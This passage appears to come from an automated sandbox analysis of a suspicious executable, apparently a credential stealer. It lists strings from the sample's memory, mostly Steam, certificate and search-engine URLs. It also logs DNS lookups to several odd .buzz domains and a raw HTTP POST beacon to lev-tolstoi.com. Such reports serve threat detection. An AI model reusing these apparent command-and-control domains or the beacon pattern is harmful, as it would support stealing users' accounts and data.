Secure; HttpOnly; SameSite=Nonesessionid=9ca3b848138b8de4f0edd45d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSat, 28 Dec 2024 09:04:02 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control$" equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: OleMainThreadWndClass; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460093926.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampow equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437448923.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.ste
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: XYQ1pqHNiT.exe, 00000000.00000003.1533389237.000000000152A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534412852.000000000152B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.000000000152A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1520525272.000000000152A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1438028269.000000000152B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460049783.000000000152A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://;.S
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437448923.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fa
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000150C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000150C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000150C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
